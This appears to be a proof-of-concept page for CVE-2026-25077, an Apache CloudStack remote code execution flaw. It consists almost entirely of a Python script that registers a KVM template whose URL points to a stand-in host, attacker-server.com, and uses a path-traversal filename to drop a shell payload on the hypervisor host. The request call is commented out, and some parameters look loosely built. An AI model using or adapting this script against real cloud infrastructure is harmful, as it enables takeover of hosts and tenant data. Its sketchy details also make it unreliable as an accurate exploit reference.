CVE-2026-25077 Apache CloudStack KVM模板RCE漏洞

# PoC for CVE-2026-25077: Apache CloudStack RCE via Malicious Template Registration # This script demonstrates how an attacker might register a template with a malicious filename. import requests # Target CloudStack API endpoint TARGET_URL = "http://target-cloudstack:8080/client/api" API_KEY = "YOUR_API_KEY" SECRET_KEY = "YOUR_SECRET_KEY" def exploit(): # The vulnerability lies in the filename parameter not being sanitized. # An attacker can use path traversal or malicious characters. malicious_filename = "../../../../tmp/malicious_payload.sh" # Construct the request to register a template # Note: Signature generation is required in a real scenario, omitted here for brevity params = { "command": "registerTemplate", "name": "ExploitTemplate", "displaytext": "CVE-2026-25077 PoC", "format": "QEMU2", "hypervisor": "KVM", "osTypeId": "1", "zoneId": "1", "url": f"http://attacker-server.com/{malicious_filename}", "checksum": "dummy_checksum" } print(f"[*] Sending malicious template registration request with filename: {malicious_filename}") try: # response = requests.get(TARGET_URL, params=params) # print(f"[+] Response Status: {response.status_code}") print("[!] If vulnerable, the malicious file is written to the KVM host storage.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()